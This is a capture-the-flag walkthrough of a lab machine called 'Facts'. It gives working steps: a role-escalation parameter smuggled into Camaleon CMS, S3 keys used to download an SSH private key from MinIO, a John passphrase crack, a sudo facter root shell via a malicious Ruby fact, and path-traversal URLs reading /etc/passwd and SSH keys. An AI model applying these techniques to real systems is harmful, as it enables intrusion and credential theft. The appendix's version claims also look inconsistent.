1 RECON

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Besides the expected Linux services (SSH and HTTP), one high, non-standard port immediately stands out:

Nmap
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|   256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|
80/tcp    open  http    syn-ack nginx 1.26.3 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: facts
|
54321/tcp open  http    syn-ack Golang net/http server
| http-methods:
|_  Supported Methods: GET OPTIONS
|_http-title: Did not follow redirect to http://facts.htb:9001
|_http-server-header: MinIO
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Content-Type: application/xml
|     Server: MinIO
|     X-Amz-Request-Id: 1890036DA924AE24
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     <Error><Code>InvalidRequest</Code></Error>

Port 54321 is immediately suspicious. It does not map to any common web service and explicitly identifies itself as MinIO.

1.2 Port 80

The main site is a simple image-based platform allowing users to leave comments:

This strongly suggests additional functionality hidden behind authentication.

1.2.1 Directory Fuzzing

axura @ labyrinth :~
$ gobuster dir \
  -u http://facts.htb \
  -w /home/Axura/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -t 50 \
  -r
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/Axura/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
sitemap              (Status: 200) [Size: 3508]
rss                  (Status: 200) [Size: 183]
search               (Status: 200) [Size: 19187]
index                (Status: 200) [Size: 11113]
en                   (Status: 200) [Size: 11109]
page                 (Status: 200) [Size: 19593]
welcome              (Status: 200) [Size: 11966]
admin                (Status: 200) [Size: 3896]
post                 (Status: 200) [Size: 11308]
ajax                 (Status: 200) [Size: 0]
Index                (Status: 200) [Size: 11113]
up                   (Status: 200) [Size: 73]
-                    (Status: 200) [Size: 11098]
404                  (Status: 200) [Size: 4836]
robots               (Status: 200) [Size: 33]
EN                   (Status: 200) [Size: 11109]
400                  (Status: 200) [Size: 6685]
error                (Status: 500) [Size: 7918]
500                  (Status: 200) [Size: 7918]
422                  (Status: 200) [Size: 8380]
captcha              (Status: 200) [Size: 5475]
INDEX                (Status: 200) [Size: 11113]
Progress: 5274 / 220558 (2.39%)

The admin directory is discovered and accessible.

1.2.2 Camaleon CMS

Accessing /admin redirects to a CMS login page:

The frontend assets clearly identify the backend as Camaleon CMS:

HTML
<link rel="stylesheet" href="/assets/camaleon_cms/admin/admin-basic-manifest-4a345527ab92050e4ecb0f7d9d30c6090c451165b9ffaf00266b2aa5231cda7f.css" media="all" />
<script src="/assets/camaleon_cms/admin/admin-basic-manifest-3896669961ec58669ff8c38eff8ddbde23935fca25fed539252f7705c2b073d1.js"></script>

After registering a test account, access to the admin dashboard is denied, but the CMS version can still be identified as 2.9.0:

While image uploads are permitted, exploiting a mature CMS typically requires a known vulnerability rather than blind file upload abuse.

1.3 Port 54321

Port 54321 exposes MinIO.

Key indicators:

  • Server: MinIO
  • XML error responses
  • X-Amz-Request-Id, X-Amz-Id-2 headers

These confirm the service is an S3-compatible API, not a traditional web interface.

The message:

Nmap
Did not follow redirect to http://facts.htb:9001

reveals that the MinIO web console exists but is not externally reachable, while the S3 API remains exposed on port 54321.

2 USER

2.1 IDOR

After logging in as a client user, we can edit our profile or change the account password without supplying the current password:

The assigned role is Client. From an attacker's perspective, the goal is clear: escalate this role to admin. Two endpoints stand out as candidates for abuse: the Update profile action and the Change Password function.

Inspecting the role selector in the page source reveals the following:

HTML
<label class="control-label" for="user_Role">Role</label>
<div class="">
<select class="form-control required" disabled="disabled" name="user[role]" id="user_role">
    <option value="admin">Administrator</option>
    <option selected="selected" value="client">Client</option>
    <option value="contributor">Contributor</option>
    <option value="editor">Editor</option></select>
</div>

This tells us:

  1. All 4 roles are exposed client-side: admin, contributor, editor, and the selected client.
  2. The restriction relies solely on disabled="disabled".
  3. The parameter name is user[role]

Since the control is only UI-disabled, we can remove the attribute and attempt a role change:

Submitting the form triggers a request to POST /admin/users/5, which automatically embeds user[role]=admin in the body:

However, this attempt fails, indicating server-side validation on that endpoint.

The second path is the Change Password action, which sends an AJAX request to /admin/users/5/updated_ajax. By injecting an additional parameter:

HTTP
&password[role]=admin

we can smuggle the role change through the password update flow. The result is an immediate escalation to the Administrator role, unlocking additional CMS functionality:

With full access, multiple attack surfaces emerge (plugins, themes, uploads). In this case, the key takeaway is the exposed S3 credentials in the Filesystem Settings page:

Those credentials map directly to the MinIO service on port 54321. The door is now wide open.

2.2 MinIO Enumeration

Under Settings → Configuration, the application stores uploaded media in AWS S3–compatible storage, with credentials exposed in plaintext:

Filesystem Settings
AWS Access Key ID:     AKIAB5E160E5A9D70E2A
AWS Secret Access Key: iPFUyV4GBlOj2tDiJjJso/ahJnX+JIWLgt6vpuJu
Bucket Name:           randomfacts
Region:                us-east-1
S3 Endpoint:           http://localhost:54321
Cloudfront url:        http://facts.htb/randomfacts

This confirms that MinIO on port 54321 backs the application's file storage. At this point, we hold valid S3 credentials for the MinIO instance.

2.2.1 AWS CLI Setup

AWS client project: https://github.com/aws/aws-cli

Install:

Bash
pipx install awscli

Configure a profile targeting the MinIO backend:

axura @ labyrinth :~
$ aws configure --profile facts
AWS Access Key ID [None]: AKIAB5E160E5A9D70E2A
AWS Secret Access Key [None]: iPFUyV4GBlOj2tDiJjJso/ahJnX+JIWLgt6vpuJu
Default region name [us-east-1]: us-east-1
Default output format [jason]: jason

2.2.2 Bucket Listing

Bash
aws s3 ls \
  --endpoint-url http://facts.htb:54321 \
  --profile facts

Two buckets are present:

ShellSession
2025-09-11 05:06:52 internal
2025-09-11 05:06:52 randomfacts

The internal bucket name immediately suggests higher-value data.

2.2.3 Bucket Enumeration

Enumerate internal Bucket:

Bash
aws s3 ls s3://internal \
  --endpoint-url http://facts.htb:54321 \
  --profile facts

Result:

ShellSession
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 10:45:13        220 .bash_logout
2026-01-08 10:45:13       3900 .bashrc
2026-01-08 10:47:17         20 .lesshst
2026-01-08 10:47:17        807 .profile

The presence of .ssh/ indicates stored SSH credentials.

2.2.4 Download Bucket Contents

Sync the .ssh directory locally:

Bash
aws s3 sync s3://internal/.ssh ./ssh \
  --endpoint-url http://facts.htb:54321 \
  --profile facts

The directory contains a full SSH key pair:

axura @ labyrinth :~
$ tree ssh
ssh
├── authorized_keys
└── id_ed25519

1 directory, 2 files

2.3 SSH Cracking

The downloaded private key is passphrase-protected:

axura @ labyrinth :~
$ ll
total 8.0K
-rw-r--r-- 1 Axura Axura  82 Jan 31 21:51 authorized_keys
-rw-r--r-- 1 Axura Axura 464 Jan 31 21:51 id_ed25519
$ cat *
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICCMAgYbXNEf5FBvumBQW4l9Jptj5eSpSrrgrnxemkGQ
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDrx9V9OM
S9ReqB7TSQAdJoAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAICCMAgYbXNEf5FBv
umBQW4l9Jptj5eSpSrrgrnxemkGQAAAAoAD1g9Kjwi9JR0oGv4OdaqznucHUWZSzQMXRVk
FigyeQRjrtjNQ7bvMDokpYlwB1FbIDPQv7sgkvoVAcdjpQhDZ5dmIVnUap1Y0jIJDsWLV6
lC6acNsOgibRFDkDcl2rqk9rDY5ixF8H6hq9pSy04YQNsQoXKSwT6F+wdNN2mfXjpaxz8d
TU1JZt/r+Bii3VQmIly018dl0oAcj1USj47IU=
-----END OPENSSH PRIVATE KEY-----
$ chmod 600 id_ed25519
$ ssh-keygen -yf id_ed25519
Enter passphrase for "id_ed25519":
Load key "id_ed25519": incorrect passphrase supplied to decrypt private key

To recover the passphrase, convert the key using ssh2john.py and crack it with John:

axura @ labyrinth :~
$ export johndir=/home/Axura/hacktools/john/run
$ python $johndir/ssh2john.py id_ed25519 > id_ed25519.john

$ cat id_ed25519.john
id_ed25519:$sshng$6$16$ebc7d57d38c4bd45ea81ed349001d268$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010ebc7d57d38c4bd45ea81ed349001d26800
00001800000001000000330000000b7373682d6564323535313900000020208c02061b5cd11fe4506fba60505b897d269b63e5e4a94abae0ae7c5e9a4190000000a000f583d2a3c22f49474a06bf839d6aace7b9c1d45994b340c5d15641
62832790463aed8cd43b6ef303a24a5897007515b2033d0bfbb2092fa1501c763a508436797662159d46a9d58d232090ec58b57a942e9a70db0e8226d1143903725dabaa4f6b0d8e62c45f07ea1abda52cb4e1840db10a17292c13e85fb0
74d37699f5e3a5ac73f1d4d4d4966dfebf818a2dd5426225cb4d7c765d2801c8f55128f8ec85$24$130

$ john --wordlist=/home/Axura/wordlists/rockyou.txt id_ed25519.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
dragonballz      (id_ed25519)
1g 0:00:01:51 DONE (2026-02-01 16:51) 0.008968g/s 28.70p/s 28.70c/s 28.70C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The passphrase is dragonballz. Verification confirms the key is valid:

axura @ labyrinth :~
$ ssh-keygen -yf id_ed25519
Enter passphrase for "id_ed25519":
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICCMAgYbXNEf5FBvumBQW4l9Jptj5eSpSrrgrnxemkGQ [email protected]

The key comment reveals the target user: trivia. Using it grants SSH access:

axura @ labyrinth :~
$ ssh -i id_ed25519 [email protected]
The authenticity of host 'facts.htb (10.129.19.145)' can't be established.
ED25519 key fingerprint is SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.12.9 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  1 08:56:54 AM UTC 2026

  System load:           0.08
  Usage of /:            71.9% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             222
  Users logged in:       1
  IPv4 address for eth0: 10.129.19.145
  IPv6 address for eth0: dead:beef::250:56ff:feb0:b56c


0 updates can be applied immediately.

trivia@facts:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .bundle  .cache  .local  .profile  .ssh
trivia@facts:~$ ls /home
trivia  william
trivia@facts:~$ ls -a /home/william/
.  ..  .bash_history  .bash_logout  .bashrc  .profile  user.txt
trivia@facts:~$ cat /home/william/user.txt
3******************************7

User flag secured.

3 ROOT

3.1 Sudo

Check sudo privileges:

axura @ labyrinth :~
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
trivia@facts:~$ facter --help
Usage
=====

  facter [options] [query] [query] [...]

Options
=======
           [--color]                      Enable color output.
           [--no-color]                   Disable color output.
        -c [--config]                     The location of the config file.
           [--custom-dir]                 A directory to use for custom facts.
        -d [--debug]                      Enable debug output.
           [--external-dir]               A directory to use for external facts.
           [--hocon]                      Output in Hocon format.
        -j [--json]                       Output in JSON format.
        -l [--log-level]                  Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal.
           [--no-block]                   Disable fact blocking.
           [--no-cache]                   Disable loading and refreshing facts from the cache
           [--no-custom-facts]            Disable custom facts.
           [--no-external-facts]          Disable external facts.
           [--no-ruby]                    Disable loading Ruby, facts requiring Ruby, and custom facts.
           [--trace]                      Enable backtraces for custom facts.
           [--verbose]                    Enable verbose (info) output.
           [--show-legacy]                Show legacy facts when querying all facts.
        -y [--yaml]                       Output in YAML format.
           [--strict]                     Enable more aggressive error reporting.
        -t [--timing]                     Show how much time it took to resolve each fact
           [--sequential]                 Resolve facts sequentially
           [--http-debug]                 Whether to write HTTP request and responses to stderr. This should never be used in production.
        -p [--puppet]                     Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts.
        -v [--version]                    Print the version
           [--list-block-groups]          List block groups
           [--list-cache-groups]          List cache groups
        -h [--help]                       Help for all arguments

This is effectively game overfacter executes Ruby code via custom and external facts, and it can be run as root without a password.

3.2 Facter Privesc

facter will load and execute attacker-controlled Ruby files from a specified directory. With unrestricted sudo, this becomes trivial RCE.

Prvesc reference: facter | GTFOBins

Create a malicious Ruby fact

Bash
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    system("/bin/bash")
  end
end
EOF

Execute facter as root and force-load the directory:

Bash
sudo /usr/bin/facter --custom-dir /tmp/facts

Root shell obtained:

axura @ labyrinth :~
trivia@facts:~$ mkdir -p /tmp/facts
trivia@facts:~$ cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    system("/bin/bash")
  end
end
EOF
trivia@facts:~$ sudo /usr/bin/facter --custom-dir /tmp/facts
root@facts:/home/trivia# id
uid=0(root) gid=0(root) groups=0(root)
root@facts:/home/trivia# cat /root/root.txt
7********************************e

Root flag secured.

4 APPENDIX

The exposed Camaleon CMS version is 2.9.0 (see 1.2.2). However, the backend is affected by CVE-2024-46987.

CVE-2024-46987

Reference: CVE-2024-46987 (camaleon_cms): Camaleon CMS vulnerable to arbitrary path traversal (GHSL-2024-183) - RubySec

Camaleon CMS versions prior to 2.8.1 / 2.8.2 are vulnerable to arbitrary path traversal.

This allows direct file disclosure by escaping the intended media directory. For example:

URLs
# enumerate users
https://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd

# read authorized keys
https://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/authorized_keys

# steal ssh private key
https://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519

This provides an uintended but shorter path to the same SSH foothold, bypassing MinIO entirely.